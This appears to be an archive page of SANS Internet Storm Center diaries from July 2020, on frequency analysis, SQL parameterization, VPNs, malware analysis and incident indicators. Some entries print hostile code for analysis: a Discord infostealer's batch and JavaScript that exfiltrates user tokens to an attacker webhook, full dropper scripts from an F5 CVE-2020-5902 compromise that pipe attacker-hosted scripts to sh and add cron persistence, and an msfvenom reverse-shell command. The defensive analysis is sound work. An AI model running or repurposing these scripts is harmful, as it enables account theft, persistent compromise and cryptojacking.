Diaries

Published: 2020-07-31

Building a .freq file with Public Domain Data Sources

This diary started out as a frequency analysis of zone files for domains that expire before May 2023. Our intent was to look for frequency of random on all Generic Top-Level Domains (gTLDs). This exercise quickly turned into “create the freq file” for the analysis.

First, we create our .freq file

python3 ./freq.py —create bookmag.freq

The name will make sense as sources are revealed.

My first pass was to download a few famous books from the Gutenberg project (e.g., Sherlock Holmes, a Tall of Two Cities, War and Peace) following the example from [2] [4] Mark. The frequency analysis on that first attempt did not match up to my randomly (not true random as my brain was the random generator, read into that what you will :)).

This got me thinking, can you compile some strange sources and LOTS of data to create a better frequency analysis. More data == better right (well, not always but in this case, maybe)…

This gave me an idea, why not put all of the venerable PHRACK [8] mags in my freq file… To the “Intertubes” BatMan…

Now when you download “ALL” the TGZ files there are a few steps to get them in your new bookman.freq. The first is to uncompress them. And YES, I downloaded them by clicking on them and after about phrack15 or 16 wget -r or curl - something came to mind. Stuck with it and was polite. Thanks Phrack for leaving these rare gems up!

Once you get them unpacked, you can crawl through them pretty easily as noted below:


for fname in `ls ../phrack*/*`
do
echo $fname
python3 ./freq.py --normalfile $fname bookmag.freq
done

Now are bookmag.freq has all of Phrack as part of its analysis baseline.

Onto the Gutenberg portion cause now the curiosity of “Can I put EVEN MORE literary works in this thing” came to mind.. Go Big or Go <insert somewhere not home here as we are all stuck at home>….

So after locating a DVD ISO of the Gutenberg project (not listed here, but it is easy to find) and going through uncompressing all the ZIP files:

NOTE: Files were transferred from the root of the ISO to a working “RAW” Directory.

for fname in `find ./ "*.ZIP"`
do
unzip $fname -d ../textdocs
done

Here is where zsh barked at me cause it was “TOOOOOO LOOOOOONG”, as apparently there is a limit to looping through an ls.


Settled into manually reducing the load on my poor ‘ls’ cmd.

For example changing the ls to ‘0d*.txt’


for fname in `ls ../textdocs/0d*.txt`
do
echo $fname
python3 ./freq.py --normalfile $fname bookmag.freq
done

../textdocs/0ddc809a.txt
../textdocs/0ddcc10.txt
../textdocs/0ddcd09.txt
../textdocs/0ddcl10.txt
../textdocs/0drvb10.txt

Now that we have a robust .freq file we can start testing.

Let us know what sources you decide to use?


References
[1] https://isc.sans.edu/diary/Detecting+Random+-+Finding+Algorithmically+chosen+DNS+names+%28DGA%29/19893
[2] https://github.com/MarkBaggett/freq
[3] http://dev.gutenberg.org/
[4] https://www.youtube.com/watch?v=FpfOzcRpzs8
[5] https://github.com/sans-blue-team/freq.py/blob/master/freq.py
[6] https://wiki.sans.blue/Tools/pdfs/freq.py.pdf
[7] https://isc.sans.edu/diary/freq.py+super+powers%3F/19903
[8] http://phrack.org/

 

0 Comments

Published: 2020-07-30

Python Developers: Prepare!!!

I know... tried it several times... growing up is hard. So instead, you decided to become a "Red Teamer" (aka Pentesters...). You got the hoodie, and you acquired a taste for highly caffeinated energy drinks. Now the only thing left: Learning to write a script. So like all the other "kids," you learn Python and start writing and publishing tools (Yes... all the world needed was DNS covert channel tool #32773... you realize you could have written that as a bash oneliner?).

So what follows comes from a reluctant occasional Python coder.

So instead of learning a real language like Perl, you figured Python is it. Lately, in my ongoing quest to avoid growing up, I jumped from Perl on the Python bandwagon to also be one of the cool kids. Like most developers, I heavily lean on Stackoverflow and other tools like Github to find sample code that I am sure millions of others have reviewed (isn't that the point of Open Sources?) and made sure it is well written secure code.

But as I learn more about Python, I noticed a dangerous trend in Python: People all for sudden forgot that preparing SQL statements is a thing. I think the problem is in part that Python makes it so easy to mix up prepared/not-prepared.

Compare these two snippets:

sql = """SELECT count(*) FROM users where id=%s"""
vars = ('642063 OR 1=1',)
cursor.execute(sql , vars)
count=cursor.fetchone()
print(count[0])

Returns: 1

sql = """SELECT count(*) FROM users where id=%s"""
vars = ('642063 OR 1=1',)
cursor.execute(sql % vars)
count=cursor.fetchone()
print(count[0])

Returns: 123237

The difference is a single character in the line highlighted in red: a "," vs. a "%."

A "," will identify the variables as a second parameter. A '%' is a format string like operators, and it will alter the string, which is the only parameter in this case. So really no better than concatenating the string. Yes, the '{}' notation is not much better. You can specify more specific formats, but that falls apart quickly if you are using arbitrary strings.

Unlike with Perl's amazing DBI library, Python is a bit inconsistent between different databases. So double-check this if you are using SQLite or Postgresql. 

And if you would like to read about this by someone who appears to know how to code in Python: I found this blog post that I thought was pretty good and went into more details: https://www.btelligent.com/en/blog/best-practice-for-sql-statements-in-python/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

3 Comments

Published: 2020-07-29

Consumer VPNs: You May Be Fine Without

If you are watching YouTube videos, you may have noticed how many of them include sales pitches for various VPN providers. Here at the Internet Storm Center, we do regularly receive offers for paid articles, or requests for podcast pitches, from VPN providers or "VPN Review Guides". VPNs have certainly become a new hot business.

In more generic terms, VPNs offer a more secure and private way to use the internet. VPNs do deliver on some of these claims. But I think they also overpromise.

Let's start with some threat scenarios. I think it does not make much sense to talk about security without a clear threat in mind that you are defending against.

1. Coffee Shop Wifi

So you are using Wifi at a local coffee shop. A VPN will in almost all cases sufficiently protect your traffic. There are a handful of VPN providers that were caught in the past not encrypting at all. Those are the exceptions and if you are going with one of the heavily advertised name brands, you should be good in this case. The content of your traffic as well as the nature of the sites you visit should be difficult to detect for anybody else in the coffee shop (well.. maybe if they are setting up an IPv6 router and your VPN doesn't protect you from the IPv6 leak attack.. )

On the other hand, even without a VPN you may be in pretty good shape. With 80+ % of websites using HTTPS, and browsers/operating systems implementing DNS over HTTPS, you pretty much already have all the protection a VPN would give you. It is actually more secure than you may think to use coffee house wifi for online banking.

An alternative solution of course: Tether to your phone. LTE will also avoid a lot of the layer 2 issues that you may run into. But as a (former?) frequent traveler, I can attest to the spotty performance of this option and I have often been "pushed" to insecure Wifi as a result.

2. Private Home Browsing

Many high-speed internet connections come with a more or less static IP address. This may allow an adversary (advertiser) to track you. Using a VPN will allow you to obtain a more dynamic IP address in a location not associated with you (this of course can also be used to bypass some content restrictions). Overall, this works well. But be aware that some sites will just outright block connections via VPNs. In addition, most "tracking" doesn't use IP addresses. Instead features like cookies are used and VPNs will not affect that tracking at all unless they inspect content which opens up other problems. 

You will also conceal your traffic from your ISPs. While ISPs have been seen inspecting and even modifying traffic, all you do is replace your ISP for your VPN provider. VPN providers are not immune to the same commercial pressures as ISPs.

Some VPNs promise faster connection speeds. The argument is that some ISPs will slow certain traffic like for example BitTorrent, or traffic to certain streaming sites. A VPN will conceal the nature of the traffic and makes it more difficult to apply these types of rules. In my experience, the opposite is true. ISPs (at least in my experience) currently do very little filtering like this. A VPN will almost always lead to a lower-performing connection due to the overhead added by the VPN. You may also run into bottlenecks in the VPN infrastructure.

3. Nation-State / Government Attacks

All countries I am aware of have some form of legal intercept legislation requiring telecom providers like ISPs to provide access to customer traffic. Encryption is, of course, one primary defense against this kind of data collection. In most cases, VPN providers are subject to the exact same laws. While some offer "no logging" (which has been shown to be often a false claim), after they receive a respective order they will likely not be able to say "no", unless they are located in a country that makes these orders difficult to obtain. In this scenario, you will need a VPN provider and endpoint in a different country than yours. Some countries are known to outright block VPN connections for that reason, making setting up a well-performing and reliable VPN connection difficult. If you are afraid of traffic interception while traveling to a foreign country: You are almost always better off connecting to a VPN server with a custom configuration at home vs. using commercial VPN providers. Commercial VPN providers use well-known servers that are easily blocked. Modern HTTPS/DoH may again provide almost the same level of security as a VPN.

What Do VPNs not Do?

VPNs will not protect you from malware or visiting malicious sites unless the VPN provider is inspecting your traffic. Even then, a decent up to date endpoint protection suite is likely a lot better than what the VPN provider is doing. And inspecting traffic is exactly what you are usually trying to avoid. In most of the scenarios discussed above, the attacker is more likely going to attack you via the endpoint vs. bothering to intercept your traffic.

The same is true for tracking. As mentioned above, you can still be tracked via good old cookies and similar techniques. In most cases, VPNs do not make tracking significantly more difficult.

You are replacing one choke point, your ISP, with another, the VPN provider. VPN providers are far less regulated and monitored than ISPs. As recent leaks have shown, VPN providers promising no-logging have actually been logging customer traffic. VPN providers are subject to the laws of the countries they operate in and have to collect and make available logs according to those laws.

What Alternatives Do I have?

As mentioned above: An up to date system with a browser configured to use DNS over HTTPs will give you 90% of what a VPN will get you (of course, you may have similar trust issues with the DoH endpoint you select).

You could set up a VPN server at home. This is a great solution if you are mostly concerned about privacy while traveling. It will also give you secure access to systems in your house and is not terribly difficult to set up. As an alternative to a home system, a VPN server on a cheap cloud provider may work as well. The price of a simple cloud server is comparable to some VPN providers. Or better: Set up a complete virtual system in the cloud and use its browser. This will probably give you the best protection from malware and tracking if you just "reset" the system often.

Having a VPN available from a reputable company is a good option if you would like to occasionally watch a movie only available in a different country, or if you would like to add additional privacy when browsing. But understand the limitations and it will not prevent you from ransomware if you keep turning off your anti-malware solution and if you run Excel macros that arrive in various emails. 

I will not recommend a VPN provider. Do your homework, search recent news for VPN providers who leaked data (or didn't encrypt traffic at all). If you are a VPN provider and are looking for a guest appearance on my daily podcast: The only guests I feature are SANS.edu students who score As on their research paper. So have your marketing person sign up for the SANS.edu masters program, and I will feature them once they submit a research paper and receive an A grade.

Additional Reading:

Study about trackers in Android VPN Software: https://research.csiro.au/isp/wp-content/uploads/sites/106/2016/08/paper-1.pdf
Recent VPN Data Leaks: https://www.welivesecurity.com/2020/07/20/seven-vpn-services-leaked-data-20million-users-report

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

2 Comments

Published: 2020-07-28

All I want this Tuesday: More Data

We are making more and more data available via our API.  Couple things just added:

  • A combined "Threatintel" feed that includes basic categories of notable IPs
  • A list of subnets used by prominent cloud providers

First a few reminders about our API:

You may use data from our API for free. This includes the use in commercial networks. We only ask you to talk to us about licensing if you are reselling the data as part of a product. For example, if you include this data in your own data feeds and you are charging money for the feed.

At this point, we are not asking for any kind of authentication. We are doing minimal tracking and do not care who is downloading the data. However, we may block users who we feel abuse the data. We will try to contact you if you include contact information in your user agent and it is possible that we will block certain "generic" user agents. Best to customize the user agent somehow.

What I do ask for in exchange for using these feeds:

  • provide feedback. Let us know how you use these feeds, and please let us know about problems (see our contact page)
  • Consider contributing data via our honeypot.

The use case I am envisioning for the data is to include it in a SIEM or other log monitoring products to add "color" to the IP address. It may be useful to know that the IP attacking you is just "yet another infected bot".

WE DO NOT RECOMMEND THE USE OF OUR DATA AS A SIMPLE BLOCK LIST

Our data includes false positives. I see it as a feature as false positives is also something we continuously learn from. For example when it comes to DoS attacks, or artifacts of firewalls blocking "odd" packets. Best case: If you are blocking based on our "Top 100" list, you are blocking a bunch of bots that scan for vulnerabilities you are hopefully not susceptible to. And if you are vulnerable to any of them: There are bot number 101-123183849 that will still get you.

Our API offers data in different formats. Just add the format specifier to the URL. For example "?json" for JSON which is probably now the preferred output format.

Back to the new datafeeds I added:

"Intelfeed" https://isc.sans.edu/api/intelfeed

A lot of organizations like to ingest random feeds of "threatintel" data. This feed is trying to extract some notable data from across our different collections. It includes for port scanners detected by out DShield sensors, hosts scanning for web vulnerabilities and ssh brute force bots reported by our honeypots and data from various other feeds we are collection. A quick snippet:

   {
    "ip": "1.119.147.51",
    "description": "DShield Ports: 65529,16379,6379,22,1433"
  },
  {
    "ip": "1.119.195.58",
    "description": "dshieldssh"
  },
  {
    "ip": "1.160.6.79",
    "description": "talos"
  },
  {
    "ip": "5.11.11.10",
    "description": "tldns"
  },

  • The first IP is a host scanning various ports based on our DShield data (I only include hosts that hit several target IPs to limit the size of the feed).
  • The second IP scans for SSH servers
  • The third IP is included in the Talos IP blocklist
  • Finally, 5.11.11.10 is a name server for a top level domain (don't block these! ;-) )

The number of categories is likely going to increase.

Cloud IPs https://isc.sans.edu/api/cloudips

This is a simple feed including prefixes used by major cloud providers. Right now, it includes AWS, Azure, Google and Oracle with more to come. This one is pretty straight forward.

These feeds are only as good as you make them. Feedback is very welcome. Please use our Contact Page for feedback.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2020-07-27

In Memory of Donald Smith

Donald SmithLast week, we learned of the passing of our friend and fellow ISC Handler, Donald Smith. Don may not be a "household name" when it comes to Internet Security, but he was one of those people who steadfastly worked in the background and pushed us all to collaborate and do better. Don was not in it for the glory. Despite Don's many impacts, his unwillingness to take credit never wavered. In some ways: If you never heard of Don, that was the reason why he was effective at what he did. And if you did hear of Don, or worked with him, you are probably saying that I am wrong: Everybody knew Don. If you were involved in a trusted sharing group, or if you were active in network security, you probably ran into Don at one point or another. If you remember Don: You did something right.

Don was part of the Internet Storm Center from day 1. His input shaped what we are doing, and his connections did help us reach out to many parts of this industry. Don could introduce you to people that mattered. People with "enable" access to routers. But he was also one that showed to his employer at the time that it makes financial sense to worry about security as an ISP. And that it is time and money well spend to invest in security and help customers clean up and secure their systems.

He will be missed. The Internet is a better place, thanks to him. May the hop limit of the ideas he injected into this and other networks never expire.

donald.smith# shutdown -h 

 

4 Comments

Published: 2020-07-27

Analyzing Metasploit ASP .NET Payloads

I recently helped a friend with the analysis of a Metasploit ASP .NET payload.

Such a payload is generated with msfvenom, like this:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=12345 -f aspx

64-bit shellcode is generated to establish a reverse TCP shell. The hexadecimal byte array seen in the screenshot above is the shellcode.

This can be extracted with my tool base64dump.py. Although base64dump started out as a tool to scan for and decode BASE64 strings, it can handle many more encodings in later versions. The last version is able to directly extract the shellcode from the ASP .NET page (.aspx) with encoding zxc. zxc means: hexadecimal preceded by 0x (zx), and comma separated (c). Whitespace (including carriage-return and line-feed) is ignored when encoding zxc is used.

Here is the base64dump command:

And this is how to select the shellcode and produce a (partial) ascii/hex dump:

This dump is not very informative: what you want to know, is which IP address and port number this shellcode will connect to.

Would this have been 32-bit shellcode, the shellcode emulator (scdbg) would come in very handy to get the address & port.

Unfortunately, scdbg is 32-bit only. We will have to disassemble the code and reverse it ourselves.

There is a simple trick to find the address and port in this msfvenom payload: search for a register move (mov) of an 8-byte value ending with 0002:

You can grep for this too:

The first four bytes you see in this disassembly (0x04030201...) define the IPv4 address, little-endian:

And the 2 following bytes (...3930...) define the port, unsigned little-endian:

(I did the decoding with my tool format-bytes).

Remark that the representation in the disassembled code is little-endian, but if you look directly at the bytes of the shellcode, they are in big-endian (e.g. network) representation.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-07-26

Cracking Maldoc VBA Project Passwords

In diary entry "VBA Project Passwords" I explained that VBA project passwords in malicious documents don't hinder analysis: you can just extract the macros without knowing the password. It's only when you would perform a dynamic analysis with the step-by-step debugger of the VBA IDE, that the password would prevent you from doing this. But there are simple methods to remove the password, and then you can go ahead with your debugging.

I did some further research, and did not find a free, open-source VBA password cracker. The VBA project password is hashed with a salt (sha1(MBCS(password)+salt)), then encoded with a custom, reversible XOR-encoding and then stored as an hexadecimal value of parameter DPB in the PROJECT stream.

If you want more details, I have a post on my personal blog: Cracking VBA Project Passwords.

And I also developed an oledump plugin to extract the hash and represent it in the formats compatible with John the Ripper and Hashcat. This plugin also performs a small dictionary attack (using John the Ripper's public domain wordlist), and displays the password if it can crack it:

Finally, I also show the different steps in this video:

VBA project passwords used by actors might become useful threat intel, but that is another research project.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-07-25

ndisasm Update 2.15

I regularly use disassembler ndisasm (part of the NASM project) in diary entries. One of the features I like, is its ability to read data from stdin: I can pipe the output of a command into ndisasm.

I observed a problem with the Windows version that has now been fixed in version 2.15: stdin was used in text mode, while it has to be used in binary mode. One of the effects of this bug on Windows, is that output is truncated after a CTRL-Z (0x1A) byte was received: this is the EOF marker for text files in Windows.

0x1A is no longer a problem now:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-07-24

Compromized Desktop Applications by Web Technologies

For a long time now, it has been said that "the new operating system is the browser". Today, we do everything in our browsers, we connect to the office, we process emails, documents, we chat, we perform our system maintenances, ... But many popular web applications provide also a desktop client: Twitter, Facebook, Slack are good examples. Such applications just replace the classic browser and use the API's to interact with the official website. Most applications are developed in a compiled language and are deployed as regular executable files. Others rely on web technologies or have a modular architecture that helps to add features via a system of plugins or modules.

Discord[1] is such a popular app. Let's have a look at the installation on standard Windows computer:

You can see that the application makes use of classic web technologies. There is a bunch of JavaScript files installed in %APPDATA%\Discord\. Some malware samples have already been reported to infect Discord application but I never found one. Yesterday, my hunting rules caught a sample!

The malware uses the Discord API to exfiltrate data about the victim:

curl -X POST \
     -H "Content-type: application/json" \
     --data "{\"content\": \"**Inject Activated : BaBy#9360**\"}" \
     https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr

Some information about the victim's computer is collected:

curl "https://myexternalip.com/raw">>C:\temp\ip_address.txt
for /f "delims=" %%q in (C:\temp\ip_address.txt) do set IP=%%q
for /f "delims=" %%x in (C:\temp\WindowsInfo.txt) do set WindowsInfo=%%x
start C:/temp/WebBrowserPassView.exe /stext C:/temp/Passwords.txt
systeminfo | findstr /c:"Host Name">>C:\temp\System_INFO.txt
systeminfo | findstr /c:"Domain">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"OS Name">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"OS Version">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"System Manufacturer">>C:\temp\System_INFO.txt
systeminfo | findstr /c:"System Model">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"System type">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"Total Physical Memory">>C:\temp\System_INFO.txt
echo Hard Drive Space:>>C:\temp\System_INFO.txt
wmic diskdrive get size>>C:\temp\System_INFO.txt
echo. 
echo.
echo Service Tag:>>C:\temp\System_INFO.txt
wmic bios get serialnumber>>C:\temp\System_INFO.txt
echo. 
echo. 
echo CPU:>>C:\temp\System_INFO.txt
wmic cpu get name>>C:\temp\System_INFO.txt

The most important part is the next one. The Discord client is modified by injecting a malicious piece of JavaScript code:

set str=var X = window.localStorage = document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage;var V = JSON.stringify(X);var L = V;var C = JSON.parse(L);var strtoken = C["token"];var O = new XMLHttpRequest();O.open('POST', 'https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr', false);O.setRequestHeader('Content-Type', 'application/json');O.send('{"content": ' + strtoken + '}')

...

set "discord=%appdata%\discord\0.0.306\modules\discord_voice\index.js"
set "discordcanary=%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js"
set "discordptb=%appdata%\discordptb\0.0.52\modules\discord_voice\index.js"
if not exist %discord% goto CANARY
echo %str% >> "%appdata%\discord\0.0.306\modules\discord_voice\index.js"
GOTO CANARY
:CANARY
if not exist %discordcanary% goto PTB
echo %str% >> "%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js"
GOTO PTB
:PTB
if not exist %discordptb% goto SEND2
echo %str% >> "%appdata%\discordptb\0.0.52\modules\discord_voice\index.js"
GOTO SEND2
:SEND2

The variable %str% contains a JavaScript code that exfiltrates the current user's token. All data are posted on a Discord channel controlled by the attacker. This technique allows him to use the victim's Discord account.

This is interesting to see how Discord is the target but also the C2 communication channel...

[1] https://discord.com/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-07-23

Simple Blocklisting with MISP & pfSense

Here is an example of a simple but effective blocklist system that I'm using on my pfSense firewalls. pfSense is a very modular firewall that can be expanded with many packages. About blocklists, there is a well-known one called pfBlocklist. Personally, I prefer to avoid installing extra packages on my firewalls because it increases the risk to face potential problems while upgrading (pfSense recommends to disable them before any upgrade). Some packages might also be developed by 3rd parties that have a light security mindset and, therefore, introduce bugs in a core element of the infrastructure.

pfSense has a feature called 'Aliases' that helps to build lists of FQDN, IP addresses, or ports to created powerful rules. Not many people know that it's also possible to configure pfSense to fetch a list of elements from an URL:

It is not mentioned clearly in the web interface but pfSense will regularly revisit the URL to fetch new data and update the list. It's performed via a cronjob:

[2.4.5-RELEASE][admin@pfesx2.xxxxxx.xxx]/etc: grep urltables crontab
30    12    *    *    *    root    /usr/bin/nice -n20 /etc/rc.update_urltables

Once a day, the firewall will check the URL and update the list if required. You can follow this in the firewall system logs:

As you see in the first screenshot, I'm not querying directly my MISP instance because you can't properly validate the returned data. if your MISP instance is in trouble, the returned list could be empty and the URL list zeroed. I prefer to collect data from MISP via a third-party server that will fetch the data and validate them:

curl -d '{"returnFormat":"text","type":"ip-src","category":"Network activity","last":"90d","enforceWarninglist":true,"to_ids":true}' \
     -H "Authorization: xxxx" \
     -H "Accept: application/json" \
     -H "Content-type: application/json"
     -X POST -s -o /tmp/misp-ip.txt \
     https://misp.xxxxxx.xxx/attributes/restSearch \
&& mv /tmp/misp-ip.txt /var/www/html/

The list of IP's will be published only if curl does not return an error. It also helps to finetune the API query to reduce the risk of false positives (ex: by enforcing the MISP Warning Lists or "To IDS" flag). The second advantage is to make the file available to other tools for monitoring and reporting purposes. The same list is fetched by my Splunk instance to create a lookup list:

Now, let's do some reporting by extracting the malicious IP addresses from the firewall logs:

index=firewall host=pfesx2 action=blocked 
| rename src_ip as ip 
| search [|inputlookup misp_ip.csv ]
| stats count by ip

Across the last 24 hours, we clearly spotted an interesting IP that was probably scanning my network: %%ip:185.176.27.118%%.

Here is a brief recap of the flows in place:

As you can see, you can play on both sides with only one list: you automatically block potentially malicious traffic and you get some stats about malicious IP addresses.

A final remark about the performance, the size of data fetched via the URL is limited as explained in the pfSense documentation: "When Save is clicked, up to 3,000 entries from each URL are read from the file and imported into a network type alias". To keep the list of malicious IP efficient, you can apply more filters and return, by example, only IP addresses validated and tagged by the SOC. 

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-07-22

A few IoCs related to CVE-2020-5902

I know I am a bit late to the game, but a couple of weeks ago I responded to an incident resulting from an F5 compromise related to CVE-2020-5902.  As I responded I captured a number if indicators of compromise.  While I have not had a lot of time to dig into them, hopefully they will be of use to somebody.


The F5 vulnerability, CVE-2020-5902 was announced, and patches and workarounds made available, by F5 on June 30, 2020.  This was a CVSS score 10 which essentially meant that if the management interface of the F5 was exposed to the Internet it was trivial to exploit.


On this particular F5, probes for the presence of the vulnerability began on July 3, 2020 and over the course of the subsequent 4 days the device was probed for vulnerability to CVE-2020-5902 2561 times from 364 unique IPs.


The first detectable exploit was executed against the F5 on July 4, 2020.  Exploits continued to be executed against the F5 a number of times over the next few days.  It is hard to gauge the effectiveness of these exploits but there is no indication that any of these exploits achieved an effective foothold in the F5.


The first detectable foothold in the F5 was on July 6, 2020.  As shown in an earlier diary an alias was used to get access to a shell which was used to execute:


nc 217.12.199.179 9999


which resulted in the execution of:


curl 217.12.199.179/i.sh | sh

As of writing 212.12.199.179 is still up and is still serving up the shell scripts related to this attack.


Here are the contents of i.sh

SHA256 - 34e0ad00a23762da270ad5a352d1e523f45a685b4a4931ae02973ecef79140c5 
https://www.virustotal.com/gui/file/34e0ad00a23762da270ad5a352d1e523f45a685b4a4931ae02973ecef79140c5/detection

#!/bin/sh
ulimit -n 65535
rm -f /etc/ld.so.preload

LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
 LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
 LDR="wget -q -O -"
fi


WGET="wget -O"
if [ -s /usr/bin/curl ]; then
 WGET="curl -o"
fi
if [ -s /usr/bin/wget ]; then
 WGET="wget -O"
fi

DIR="/tmp"
if [ -e "/tmp/bigip" ]; then
 if [ -w "/tmp/bigip" ] && [ ! -d "/tmp/bigip" ]; then
  if [ -x "$(command -v md5sum)" ]; then
   sum=$(md5sum /tmp/bigip | awk '{ print $1 }')
   echo $sum
   case $sum in
   fa3cf35e7e83175f395a5b6d35fd456d)
    echo "bigip OK"
    ;;
   *)
    echo "bigip wrong"
    rm -rf /tmp/bigip
    sleep 1
    ;;
   esac
  fi
  echo "P OK"
 else
  DIR=$(mktemp -d)/tmp
  mkdir $DIR
  echo "T DIR $DIR"
 fi
else
 if [ -d "/var/tmp" ]; then
  DIR="/var/tmp"
 fi
 echo "P NOT EXISTS"
fi

download() {
 if [ -x "$(command -v md5sum)" ]; then
  sum=$(md5sum $DIR/bigip | awk '{ print $1 }')
  echo $sum
  case $sum in
  fa3cf35e7e83175f395a5b6d35fd456d)
   echo "bigip OK"
   ;;
  *)
   echo "bigip wrong"
   download2
   ;;
  esac
 else
  echo "No md5sum"
  download2
 fi
}
download2() {
 $WGET $DIR/bigip https://bitbucket.org/sozmon3n3/git/raw/master/bigip
 chmod +x $DIR/bigip
 if [ -x "$(command -v md5sum)" ]; then
  sum=$(md5sum $DIR/bigip | awk '{ print $1 }')
  echo $sum
  case $sum in
  fa3cf35e7e83175f395a5b6d35fd456d)
   echo "bigip OK"
   ;;
  *)
   echo "bigip wrong"
   download3
   ;;
  esac
 else
  echo "No md5sum"
  download3
 fi
}

download3() {
 $WGET $DIR/bigip http://217.12.199.179/bigip
 chmod +x $DIR/bigip
 if [ -x "$(command -v md5sum)" ]; then
  sum=$(md5sum $DIR/bigip | awk '{ print $1 }')
  echo $sum
  case $sum in
  fa3cf35e7e83175f395a5b6d35fd456d)
   echo "bigip OK"
   ;;
  *)
   echo "bigip wrong"
   ;;
  esac
 else
  echo "No md5sum"
 fi
}

download
SKL=b $DIR/bigip

crontab -l | grep -e "217.12.199.179" | grep -v grep
if [ $? -eq 0 ]; then
 echo "cron good"
else
 (
  crontab -l 2>/dev/null
  echo "* * * * * $LDR http://217.12.199.179/b.sh | sh > /dev/null 2>&1"
 ) | crontab -
fi

i.sh adds a recurring cron job which executes a script, b.sh from the same IP.

Here are the contents of b.sh.  SHA-256 9994a3ab51521ee54902826d46de3f8c541e625873f10aec2568dd51ddf78f9c
https://www.virustotal.com/gui/file/9994a3ab51521ee54902826d46de3f8c541e625873f10aec2568dd51ddf78f9c/detection

#!/bin/sh
ulimit -n 65535
rm -f /etc/ld.so.preload

LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
 LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
 LDR="wget -q -O -"
fi

crontab -l | grep -e "217.12.199.179" | grep -v grep
if [ $? -eq 0 ]; then
 echo "cron good"
else
 (
  crontab -l 2>/dev/null
  echo "* * * * * $LDR http://217.12.199.179/b.sh | sh > /dev/null 2>&1"
 ) | crontab -
fi

i.sh also downloaded an executable called bigip to /var/tmp which launched a process (daemon) on the F5, /tmp/bigipdaemon.

c44b63b1b53cbd9852c71de84ce8ad75f623935f235484547e9d94a7bdf8aa76 bigip
https://www.virustotal.com/gui/file/c44b63b1b53cbd9852c71de84ce8ad75f623935f235484547e9d94a7bdf8aa76/detection

517168df462fd33d5946f8cc6a09090d1dfdac19b10ac8ef8e15e4583557749d  bigipdaemon
https://www.virustotal.com/gui/file/517168df462fd33d5946f8cc6a09090d1dfdac19b10ac8ef8e15e4583557749d/detection


The files are a cryptominer which mines cryptocurrency on behalf of the attacker.  The firewall logs clearly show the cryptominer communicating to the IP in the Ukraine where the shell scripts were downloaded from. 

Besides the IP associated with the cryptomining the attacker also communicated with 9 other Ips. 

Cryptominer IPs
destination_address    destination_port    Country
217.12.199.179    80    Ukraine

Other associated IPs:        
destination_address    destination_port    Country
193.26.217.129    80    Russia
193.53.127.188    80    Russia
213.226.114.20    80    Russia
213.32.10.148    80    France
45.8.228.49    80    Russia
5.23.52.131    80    Russia
62.109.25.117    80    Russia
95.142.44.164    80    Russia
217.8.117.137    80    Russia
 

I hope to get some time in the next few weeks to dig into this further, but hopefully this is of some use to someone in the meantime.  If anyone has any more related IoCs,  please include them in the comments or send them on via the ISC contact page and I will update this diary with the new findings.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

1 Comments

Published: 2020-07-21

Couple of interesting Covid-19 related stats

It is nothing new that Covid-19 forced many organizations around the world to quickly adopt the “work from home” model, which in turn resulted in an increased number of machines offering remote access services and protocols accessible from the internet[1,2].

While this is true, going over data gathered from Shodan over this year I noticed that an interesting correlation exists in some cases between the number of machines with accessible protocols for remote access and regionally implemented restrictions on free movement. I call it “interesting” because although one might expect such a correlation to exist, one would probably expect it to always be strongly positive, i.e. that with increased restrictions on free movement would come a significant increase in the number of machines with SSH, Telnet, RDP, VNC, etc. accessible from the internet, followed by a significant decrease following lifting of the restrictions.

That is not always the case however and given the inherent risk associated with allowing unrestricted access to these services from an untrusted external network, I thought it might be interesting to take a short look at recent developments in the number of IPs exposing SSH, RDP and Telnet to the internet in couple of different countries.

A good example of a country where the “expected” increase in numbers may be seen would be Canada. There, both the number of IP addresses and the corresponding percentage of IPs allocated to ISPs in the country both saw a significant increase between the time restrictions on free movement were implemented and the time they were lifted (a large thanks goes to my colleague @inarumlova for providing me with the relevant dates for almost 60 different countries). Since then, the numbers have stayed fairly high however, with only a small drop in the number of IPs with exposed RDP.

Things were a bit more interesting in Austria. There, the number of IPs exposing remote access protocols rose in the time frame when restrictions on free movement were in place (and, in the case of SSH, the numbers fell significantly for a while after the restrictions were lifted), while the percentage of Austrian IP space visible to Shodan, which those IPs represented, steadily decreased.

So far, the expectation of a significant increase in the number of IP addresses with exposed remote access protocols during any “lockdown” period held true.

